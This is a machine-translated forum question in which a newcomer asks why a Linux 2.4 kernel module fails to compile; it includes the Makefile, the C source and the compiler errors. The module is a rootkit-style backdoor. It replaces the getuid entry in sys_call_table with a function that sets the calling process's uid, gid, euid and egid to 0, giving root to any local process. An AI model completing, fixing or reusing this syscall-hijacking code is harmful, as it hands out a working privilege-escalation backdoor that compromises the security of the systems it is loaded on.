1
我想在內核2.4上編譯內核模塊我是內核編程的新手。 這裏是Makefile
:內核模塊中未聲明的變量
TARGET := hello-2
WARN := -W -Wall -Wstrict-prototypes -Wmissing-prototypes
INCLUDE := -isystem /lib/modules/`uname -r`/build/include
CFLAGS := -O2 -DMODULE -D__KERNEL__ ${WARN} ${INCLUDE}
CC := `which gcc`
${TARGET}.o: ${TARGET}.c
.PHONY: clean
clean:
rm -rf ${TARGET}.o
這裏是代碼:
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
extern void *sys_call_table[];
int (*orig_getuid)();
int give_root()
{
int x;
if (current->uid != 0) {
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
}
return 0;
}
int init_module(void)
{
orig_getuid = sys_call_table[SYS_getuid];
sys_call_table[SYS_getuid] = give_root;
return 0;
}
void cleanup_module(void)
{
sys_call_table[SYS_getuid] = orig_getuid;
}
它已經結束了與舊內核(2.4)瞭解一些客人做法。 我返回一些關於未聲明的錯誤current
和Sysgetuid
,...的錯誤。 我讀過一篇文章,提到在用戶模式下編譯這樣的程序導致了這個錯誤,並且應該編寫一個內核模塊。但是我有內核模塊的這個問題!我知道我基本上做錯了事! 這裏是錯誤:
`which gcc` -O2 -DMODULE -D__KERNEL__ -W -Wall -Wstrict-prototypes -Wmissing-prototypes -isystem /lib/modules/`uname -r`/build/include -c -o hello-2.o hello-2.c
hello-2.c:10:1: warning: "MODULE" redefined
hello-2.c:1:1: warning: this is the location of the previous definition
hello-2.c:12:1: warning: "__KERNEL__" redefined
hello-2.c:1:1: warning: this is the location of the previous definition
hello-2.c:20: warning: function declaration isn't a prototype
hello-2.c:23: warning: function declaration isn't a prototype
hello-2.c: In function `give_root':
hello-2.c:25: `current' undeclared (first use in this function)
hello-2.c:25: (Each undeclared identifier is reported only once
hello-2.c:25: for each function it appears in.)
hello-2.c:24: warning: unused variable `x'
hello-2.c: In function `hello_2_init':
hello-2.c:35: `SYS_getuid' undeclared (first use in this function)
hello-2.c: In function `hello_2_exit':
hello-2.c:42: `SYS_getuid' undeclared (first use in this function)
/lib/modules/2.4.20-31.9/build/include/asm/processor.h: In function `copy_segments':
/lib/modules/2.4.20-31.9/build/include/asm/processor.h:457: warning: unused parameter `p'
/lib/modules/2.4.20-31.9/build/include/asm/processor.h:457: warning: unused parameter `mm'
/lib/modules/2.4.20-31.9/build/include/asm/processor.h: In function `release_segments':
/lib/modules/2.4.20-31.9/build/include/asm/processor.h:458: warning: unused parameter `mm'
/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h: In function `prefetch':/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h:43: warning: unused parameter `x'
/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h: In function `prefetchw':
/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h:48: warning: unused parameter `x'
make: *** [hello-2.o] Error 1